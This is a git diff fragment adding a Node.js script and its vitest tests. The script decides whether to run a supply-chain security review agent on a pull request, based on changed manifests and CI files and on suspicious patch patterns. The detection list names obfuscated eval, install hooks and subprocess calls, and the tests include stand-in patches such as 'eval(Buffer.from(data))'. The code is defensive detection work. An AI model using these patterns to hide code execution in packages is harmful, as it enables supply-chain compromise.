+    expect(result.reason).toBe('No files in PR');
+  });
+
+  it('should not spawn for undefined files', () => {
+    const result = shouldSpawnSupplyChain(undefined);
+    expect(result.spawn).toBe(false);
+    expect(result.reason).toBe('No files in PR');
+  });
+
+  // ---- skip-review label ----------------------------------------------------
+
+  it('should not spawn when skip-review label is present', () => {
+    const files = [{ filename: 'package.json', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files, { labels: ['skip-review'] });
+    expect(result.spawn).toBe(false);
+    expect(result.reason).toBe('skip-review label present');
+  });
+
+  it('should not spawn when skip-review label is among multiple labels', () => {
+    const files = [{ filename: 'package.json', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files, { labels: ['enhancement', 'skip-review', 'urgent'] });
+    expect(result.spawn).toBe(false);
+    expect(result.reason).toBe('skip-review label present');
+  });
+
+  // ---- Force flag -----------------------------------------------------------
+
+  it('should spawn when force flag is set even with no matching files', () => {
+    const files = [{ filename: 'README.md', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files, { force: true });
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('forced');
+  });
+
+  it('should spawn when force flag is set even with skip-review label', () => {
+    const files = [{ filename: 'src/app.ts', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files, { labels: ['skip-review'], force: true });
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('forced');
+  });
+
+  // ---- Docs-only exclusions -------------------------------------------------
+
+  it('should not spawn for docs-only changes', () => {
+    const files = [{ filename: 'README.md', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(false);
+    expect(result.reason).toContain('documentation-only');
+  });
+
+  it('should not spawn for multiple docs-only changes', () => {
+    const files = [
+      { filename: 'README.md', status: 'modified' },
+      { filename: 'docs/guide.txt', status: 'added' },
+    ];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(false);
+    expect(result.reason).toContain('documentation-only');
+  });
+
+  // ---- Combined reasons -----------------------------------------------------
+
+  it('should combine reasons for multiple trigger types', () => {
+    const files = [
+      { filename: 'package.json', status: 'modified' },
+      { filename: '.github/workflows/ci.yml', status: 'modified' },
+    ];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+    expect(result.reason).toContain('CI/build configuration');
+  });
+
+  it('should combine file and patch triggers', () => {
+    const files = [
+      { filename: 'package.json', status: 'modified' },
+      { filename: 'src/init.js', status: 'modified', patch: '+  eval(payload)' },
+    ];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should combine all trigger types', () => {
+    const files = [
+      { filename: 'package.json', status: 'modified' },
+      { filename: '.github/workflows/deploy.yml', status: 'modified' },
+      { filename: '.npmrc', status: 'added' },
+      { filename: 'src/init.js', status: 'modified', patch: '+  eval(Buffer.from(data))' },
+    ];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+    expect(result.reason).toContain('CI/build configuration');
+    expect(result.reason).toContain('build script/config');
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+});
+
+describe('fetchPrFiles', () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it('should call ghApi with correct endpoint', () => {
+    ghApi.mockReturnValue([{ filename: 'test.js' }]);
+    const context = { repo: { owner: 'org', repo: 'repo' }, issue: { number: 42 } };
+    const result = fetchPrFiles(context);
+    expect(ghApi).toHaveBeenCalledWith('/repos/org/repo/pulls/42/files');
+    expect(result).toEqual([{ filename: 'test.js' }]);
+  });
+
+  it('should return empty array when ghApi returns null', () => {
+    ghApi.mockReturnValue(null);
+    const context = { repo: { owner: 'org', repo: 'repo' }, issue: { number: 1 } };
+    const result = fetchPrFiles(context);
+    expect(result).toEqual([]);
+  });
+});
+
+describe('fetchPrLabels', () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it('should call ghApi and return label names', () => {
+    ghApi.mockReturnValue([{ name: 'bug' }, { name: 'security' }]);
+    const context = { repo: { owner: 'org', repo: 'repo' }, issue: { number: 42 } };
+    const result = fetchPrLabels(context);
+    expect(ghApi).toHaveBeenCalledWith('/repos/org/repo/issues/42/labels');
+    expect(result).toEqual(['bug', 'security']);
+  });
+
+  it('should return empty array when ghApi returns null', () => {
+    ghApi.mockReturnValue(null);
+    const context = { repo: { owner: 'org', repo: 'repo' }, issue: { number: 1 } };
+    const result = fetchPrLabels(context);
+    expect(result).toEqual([]);
+  });
+});
diff --git a/claude/auto-review/scripts/should-spawn-supply-chain.js b/claude/auto-review/scripts/should-spawn-supply-chain.js
new file mode 100644
index 0000000..fcb611e
--- /dev/null
+++ b/claude/auto-review/scripts/should-spawn-supply-chain.js
@@ -0,0 +1,271 @@
+#!/usr/bin/env node
+
+/**
+ * Determine whether the supply-chain security subagent should be spawned
+ * based on PR file patterns and patch content indicators.
+ *
+ * Outputs JSON: { spawn: boolean, reason: string }
+ */
+
+import { ghApi, loadGitHubContext, createLogger } from './lib/github-utils.js';
+
+const logger = createLogger('should-spawn-supply-chain.js');
+
+// ---- File pattern triggers ------------------------------------------------
+
+/**
+ * Dependency manifest and lockfile basenames.
+ */
+const DEPENDENCY_FILES = new Set([
+  'package.json',
+  'package-lock.json',
+  'pnpm-lock.yaml',
+  'yarn.lock',
+  'go.mod',
+  'go.sum',
+  'Cargo.toml',
+  'Cargo.lock',
+  'Gemfile',
+  'Gemfile.lock',
+  'composer.json',
+  'composer.lock',
+  'pyproject.toml',
+  'setup.py',
+  'setup.cfg',
+  'build.gradle',
+  'build.gradle.kts',
+  'pom.xml',
+  'Podfile',
+  'Podfile.lock',
+  'pubspec.yaml',
+  'pubspec.lock',
+]);
+
+/**
+ * CI/build configuration patterns.
+ */
+const CI_BUILD_PATTERNS = [
+  /^\.github\/workflows\//,
+  /(^|\/)Dockerfile/i,
+  /(^|\/)docker-compose\.ya?ml$/i,
+  /(^|\/)Makefile$/i,
+  /(^|\/)Jenkinsfile$/i,
+  /(^|\/)\.gitlab-ci\.ya?ml$/i,
+  /(^|\/)\.circleci\//i,
+];
+
+/**
+ * Script/build config basenames that could be attack vectors.
+ */
+const BUILD_SCRIPT_FILES = new Set([
+  '.npmrc',
+  '.yarnrc',
+  '.yarnrc.yml',
+  '.pnpmrc',
+  'build.rs',
+  'settings.gradle',
+  'settings.gradle.kts',
+  'init.gradle',
+  'gradle.properties',
+]);
+
+/**
+ * Script/build config patterns (regex-based, for files that can't be matched by basename alone).
+ */
+const BUILD_SCRIPT_PATTERNS = [
+  /\.podspec$/,
+];
+
+// ---- Patch keyword triggers -----------------------------------------------
+
+const SUSPICIOUS_PATCH_PATTERNS = [
+  // JavaScript / Node.js
+  /eval\s*\(/,
+  /new\s+Function\s*\(/,
+  /eval\s*\(\s*Buffer\.from/,
+  /codePointAt/,
+  /fromCharCode/,
+  /\\x[0-9a-fA-F]{2}/,
+  /\\u[0-9a-fA-F]{4}/,
+  /preinstall|postinstall|preuninstall/,
+
+  // Rust
+  /Command::new/,
+  /std::process::Command/,
+  /proc-macro/,
+  /build-dependencies/,
+
+  // Gradle / Kotlin / Android
+  /apply\s+plugin/,
+  /classpath\s/,
+  /buildscript/,
+
+  // CocoaPods
+  /script_phase/,
+  /prepare_command/,
+
+  // Python
+  /subprocess\.(call|run|Popen)/,
+  /(?<!\.)exec\s*\(/,
+  /cmdclass/,
+  /install_requires/,
+
+  // Go
+  /\/\/go:generate/,
+];
+
+// ---- Skip conditions ------------------------------------------------------
+
+const DOCS_ONLY_REGEX = /\.(md|txt|rst|adoc)$/i;
+
+// ---- Core decision function -----------------------------------------------
+
+/**
+ * Determine whether the supply-chain security agent should be spawned.
+ *
+ * @param {Array} files - PR file objects from GitHub API (filename, status, patch)
+ * @param {Object} metadata - Additional metadata
+ * @param {string[]} [metadata.labels] - PR label names
+ * @param {boolean} [metadata.force] - Force spawn regardless of heuristic
+ * @returns {{ spawn: boolean, reason: string }}
+ */
+export function shouldSpawnSupplyChain(files, metadata = {}) {
+  const { labels = [], force = false } = metadata;
+
+  // Force override
+  if (force) {
+    return { spawn: true, reason: 'forced via input' };
+  }
+
+  // Skip conditions
+  if (labels.includes('skip-review')) {
+    return { spawn: false, reason: 'skip-review label present' };
+  }
+
+  if (!files || files.length === 0) {
+    return { spawn: false, reason: 'No files in PR' };
+  }
+
+  // Check if all files are docs-only
+  const allDocs = files.every(f => DOCS_ONLY_REGEX.test(f.filename));
+  if (allDocs) {
+    return { spawn: false, reason: 'All files are documentation-only' };
+  }
+
+  // Collect trigger reasons
+  const reasons = [];
+  const triggerHits = new Set();
+  let hasSuspiciousPatterns = false;
+
+  for (const file of files) {
+    const { filename, patch } = file;
+    const basename = filename.split('/').pop();
+
+    // Dependency files
+    if (DEPENDENCY_FILES.has(basename)) {
+      triggerHits.add('dependency manifest/lockfile changes');
+    }
+
+    // CI/build configs
+    for (const pattern of CI_BUILD_PATTERNS) {
+      if (pattern.test(filename)) {
+        triggerHits.add('CI/build configuration changes');
+        break;
+      }
+    }
+
+    // Build script configs (exact basename match)
+    if (BUILD_SCRIPT_FILES.has(basename)) {
+      triggerHits.add('build script/config changes');
+    }
+
+    // Build script configs (regex pattern match)
+    for (const pattern of BUILD_SCRIPT_PATTERNS) {
+      if (pattern.test(filename)) {
+        triggerHits.add('build script/config changes');
+        break;
+      }
+    }
+
+    // Check patch content for suspicious patterns
+    if (patch) {
+      for (const pattern of SUSPICIOUS_PATCH_PATTERNS) {
+        if (pattern.test(patch)) {
+          hasSuspiciousPatterns = true;
+          break;
+        }
+      }
+    }
+  }
+
+  if (triggerHits.size > 0) reasons.push(...triggerHits);
+  if (hasSuspiciousPatterns) reasons.push('suspicious code patterns in patch');
+
+  if (reasons.length > 0) {
+    return { spawn: true, reason: reasons.join(', ') };
+  }
+
+  return { spawn: false, reason: 'No supply-chain signals detected' };
+}
+
+// ---- GitHub API helpers ---------------------------------------------------
+
+/**
+ * Fetch PR files from GitHub API
+ * @param {Object} context - GitHub context
+ * @returns {Array} PR files
+ */
+export function fetchPrFiles(context) {
+  return ghApi(
+    `/repos/${context.repo.owner}/${context.repo.repo}/pulls/${context.issue.number}/files`
+  ) || [];
+}
+
+/**
+ * Fetch PR labels from GitHub API
+ * @param {Object} context - GitHub context
+ * @returns {string[]} Label names
+ */
+export function fetchPrLabels(context) {
+  const labels = ghApi(
+    `/repos/${context.repo.owner}/${context.repo.repo}/issues/${context.issue.number}/labels`
+  ) || [];
+  return labels.map(l => l.name);
+}
+
+// ---- CLI entry point ------------------------------------------------------
+
+/**
+ * Main entry point
+ */
+export function main() {
+  const context = loadGitHubContext();
+
+  if (!context.issue.number) {
+    const result = { spawn: false, reason: 'Not a pull request event' };
+    console.log(JSON.stringify(result));
+    return result;
+  }
+
+  const force = process.env.FORCE_SUPPLY_CHAIN_AGENT === 'true';
+  const files = fetchPrFiles(context);
+  const labels = fetchPrLabels(context);
+
+  const result = shouldSpawnSupplyChain(files, { labels, force });
+
+  logger.error(`Decision: spawn=${result.spawn}, reason="${result.reason}"`);
+  console.log(JSON.stringify(result));
+
+  return result;
+}
+
+// Execute main() only when run directly
+if (import.meta.url === `file://${process.argv[1]}`) {
+  try {
+    main();
+  } catch (error) {
+    logger.error(`Error: ${error.message}`);
+    console.log(JSON.stringify({ spawn: false, reason: `Error: ${error.message}` }));
+    process.exit(0);
+  }
+}